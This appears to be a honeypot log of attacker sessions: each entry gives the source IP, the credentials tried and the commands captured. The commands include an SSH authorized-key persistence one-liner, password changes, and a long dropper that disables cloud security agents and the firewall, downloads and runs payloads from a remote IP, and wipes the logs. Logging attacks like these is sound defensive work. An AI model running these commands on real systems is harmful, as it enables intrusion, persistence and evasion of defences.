"CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 scone_root_13 (138.68.167.73) β€” Slough, United Kingdom Β· 1 session Β· 4 cmds
2026-03-06 20:46 EST Β· as admin/123456
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 cipher_root_74 (132.248.170.105) β€” Mexico City, Mexico Β· 1 session Β· 20 cmds
2026-03-06 18:17 EST Β· as test/123456
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "123456\nl0JN6REhR9U6\nl0JN6REhR9U6"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\nl0JN6REhR9U6\nl0JN6REhR9U6\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 tea_root_5 (143.110.162.49) β€” Slough, United Kingdom Β· 5 sessions Β· 20 cmds
2026-03-06 10:41 EST Β· as admin/admin, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 fika_root_2 (155.4.245.222) β€” Stockholm, Sweden Β· 1 session Β· 20 cmds
2026-03-06 10:51 EST Β· as admin/password
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "password\n2iXnri79yMh8\n2iXnri79yMh8"|passwd|bash
$ Enter new UNIX password:
$ echo "password\n2iXnri79yMh8\n2iXnri79yMh8\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 jade_root_18 (124.225.41.77) β€” Shanghai, China Β· 1 session Β· 20 cmds
2026-03-06 10:43 EST Β· as admin/password
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "password\n6ydIrVIjoQfM\n6ydIrVIjoQfM"|passwd|bash
$ Enter new UNIX password:
$ echo "password\n6ydIrVIjoQfM\n6ydIrVIjoQfM\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 barbie_root_3 (170.64.164.237) β€” Sydney, Australia Β· 8 sessions Β· 32 cmds
2026-03-01 16:53 EST Β· as admin/admin, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 eagle_sol (159.223.135.19) β€” North Bergen, United States Β· 16 sessions Β· 16 cmds
2026-03-06 08:43 EST Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 16x across 16 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—16
🎭 wraith_root_49 (36.64.174.98) β€” Jakarta, Indonesia Β· 1 session Β· 1 cmd
2026-03-06 06:35 EST Β· as root/admin
ip
$ /ip cloud print
🎭 rogue_root_51 (103.59.160.195) β€” Kediri, Indonesia Β· 2 sessions Β· 6 cmds
2026-03-05 01:11 EST Β· as root/12345678, root/admin
make executable β†’ skhqwensw β†’ ls
$ #!/bin/sh; ; wdir="/tmp"; for i in "/tmp" "/var/tmp" "/dev/shm" "/usr" "/bin" "/home" "/root"; do; if [ -w "$i" ]; then; wdir="$i"; break; fi; done; cd "$wdir" || exit 1; ; ; ; ; systemctl stop aegis >/dev/null 2>&1; systemctl disable aegis >/dev/null 2>&1; systemctl stop aliyun >/dev/null 2>&1; systemctl disable aliyun >/dev/null 2>&1; ; ; systemctl mask aegis >/dev/null 2>&1; systemctl mask aliyun >/dev/null 2>&1; systemctl daemon-reload; ; ; if command -v chattr >/dev/null 2>&1; then; chattr -R -i -a /usr/local/aegis/ >/dev/null 2>&1; fi; ; ; pkill -9 AliYunDun >/dev/null 2>&1; pkill -9 AliYunDunMonitor >/dev/null 2>&1; pkill -9 aegis_update >/dev/null 2>&1; pkill -9 CmsGoAgent >/dev/null 2>&1; ; ; rm -rf /usr/local/aegis >/dev/null 2>&1; rm -rf /etc/init.d/aegis >/dev/null 2>&1; ; ; mkdir -p /usr/local/aegis; if command -v chattr >/dev/null 2>&1; then; chattr +i /usr/local/aegis; fi; ; ; ; ; systemctl stop YDService >/dev/null 2>&1; systemctl disable YDService >/dev/null 2>&1; systemctl stop tat_agent >/dev/null 2>&1; systemctl disable tat_agent >/dev/null 2>&1; ; ; systemctl mask YDService >/dev/null 2>&1; systemctl mask tat_agent >/dev/null 2>&1; ; ; systemctl daemon-reload; ; ; if command -v chattr >/dev/null 2>&1; then; chattr -R -i -a /usr/local/qcloud/ >/dev/null 2>&1; fi; ; ; pkill -9 YDService >/dev/null 2>&1; pkill -9 YDLive >/dev/null 2>&1; ; ; rm -rf /usr/local/qcloud/YunJing >/dev/null 2>&1; rm -rf /usr/local/qcloud/stargate >/dev/null 2>&1; rm -rf /usr/local/qcloud/monitor >/dev/null 2>&1; rm -rf /usr/local/qcloud/tat_agent >/dev/null 2>&1; ; mkdir -p /usr/local/qcloud/YunJing; mkdir -p /usr/local/qcloud/tat_agent; if command -v chattr >/dev/null 2>&1; then; chattr +i /usr/local/qcloud/YunJing; chattr +i /usr/local/qcloud/tat_agent; fi; ; ; ; disable_firewall() {; systemctl stop firewalld ufw >/dev/null 2>&1; systemctl disable firewalld ufw >/dev/null 2>&1; service firewalld stop >/dev/null 2>&1; service ufw stop >/dev/null 2>&1; ; if command -v iptables >/dev/null 2>&1; then; iptables -P INPUT ACCEPT >/dev/null 2>&1; iptables -P FORWARD ACCEPT >/dev/null 2>&1; iptables -P OUTPUT ACCEPT >/dev/null 2>&1; iptables -F >/dev/null 2>&1; iptables -X >/dev/null 2>&1; iptables -t nat -F >/dev/null 2>&1; iptables -t nat -X >/dev/null 2>&1; fi; }; disable_firewall; ; download_and_run() {; url="$1"; filename="$2"; ; if [ -f "./$filename" ] && [ -x "./$filename" ]; then; setsid "./$filename" >/dev/null 2>&1 &; return 0; fi; ; dl_bin=""; dl_args=""; ; if command -v good >/dev/null 2>&1; then; dl_bin="good"; dl_args="--no-check-certificate -q $url -O $filename"; elif command -v cool >/dev/null 2>&1; then; dl_bin="cool"; dl_args="-skL $url -o $filename"; elif command -v wget >/dev/null 2>&1; then; dl_bin="wget"; dl_args="--no-check-certificate -q $url -O $filename"; elif command -v curl >/dev/null 2>&1; then; dl_bin="curl"; dl_args="-skL $url -o $filename"; fi; ; if [ -z "$dl_bin" ]; then; apt-get update >/dev/null 2>&1 && apt-get install -y wget curl >/dev/null 2>&1; yum install -y wget curl >/dev/null 2>&1; if command -v wget >/dev/null 2>&1; then; dl_bin="wget"; dl_args="--no-check-certificate -q $url -O $filename"; fi; fi; ; if [ -n "$dl_bin" ]; then; $dl_bin $dl_args >/dev/null 2>&1; if [ -f "$filename" ]; then; chmod +x "$filename"; setsid "./$filename" >/dev/null 2>&1 &; fi; fi; }; ; lock_tools() {; command -v chattr >/dev/null 2>&1 && chattr -i /usr/bin/wget /usr/bin/curl >/dev/null 2>&1; ; w_path=$(which wget 2>/dev/null); if [ -n "$w_path" ]; then; case "$w_path" in; *good*) ;;; *) mv "$w_path" "$(dirname "$w_path")/good" >/dev/null 2>&1 ;;; esac; fi; ; c_path=$(which curl 2>/dev/null); if [ -n "$c_path" ]; then; case "$c_path" in; *cool*) ;;; *) mv "$c_path" "$(dirname "$c_path")/cool" >/dev/null 2>&1 ;;; esac; fi; }; ; SERVER_IP="103.59.160.195"; download_and_run "http://$SERVER_IP/vos.txt" "system_update"; download_and_run "http://$SERVER_IP/vox.txt" "network_conf"; ; lock_tools; ; cleanup() {; for log in /var/log/wtmp /var/log/btmp /var/log/lastlog /var/log/syslog /var/log/auth.log; do; if [ -f "$log" ]; then; echo > "$log" 2>/dev/null; fi; done; rm -f "$0"; }; cleanup; ; rm -- "$0"; rm -f /root/vos.sh; rm -f /tmp.vos.sh; exit 0 Γ—2
↳ make executable
$ /bin/skhqwensw Γ—2
$ ls -la /var/run/gcc.pid Γ—2
🎭 spice_root_10 (139.59.60.181) β€” Bengaluru, India Β· 3 sessions Β· 12 cmds
2026-03-06 04:44 EST Β· as root/12345678, root/admin, root/qwerty
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 cowboy_root (167.71.107.223) β€” Clifton, United States Β· 10 sessions Β· 40 cmds
2026-03-06 03:17 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 10x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—10
$ uname -s -v -n -m 2 > /dev/null Γ—10
$ uname -m 2 > /dev/null Γ—10
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—10
🎭 wok_root_33 (123.52.66.31) β€” Luoyang, China Β· 1 session Β· 20 cmds
2026-03-06 03:17 EST Β· as user/user
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "user\nT28A8GBmnK7H\nT28A8GBmnK7H"|passwd|bash
$ Enter new UNIX password:
$ echo "user\nT28A8GBmnK7H\nT28A8GBmnK7H\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 barbie_root_7 (170.64.163.111) β€” Sydney, Australia Β· 5 sessions Β· 20 cmds
2026-03-05 19:24 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 kimchi_pi_2 (112.173.117.101) β€” Busan, South Korea Β· 1 session Β· 1 cmd
2026-03-05 18:58 EST Β· as pi/pi
execute payload
$ ./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;
↳ execute payload
🎭 star_root_17 (162.243.236.194) β€” Secaucus, United States Β· 3 sessions Β· 12 cmds
2026-03-05 15:57 EST Β· as root/12345678, root/admin, root/qwerty
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 scone_root_14 (144.126.199.147) β€” Slough, United Kingdom Β· 3 sessions Β· 12 cmds
2026-03-05 15:56 EST Β· as root/12345678, root/admin, root/qwerty
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 yankee_root_17 (137.184.148.67) β€” North Bergen, United States Β· 1 session Β· 4 cmds
2026-03-05 15:03 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 tiger_root_7 (139.59.11.94) β€” Bengaluru, India Β· 10 sessions Β· 40 cmds
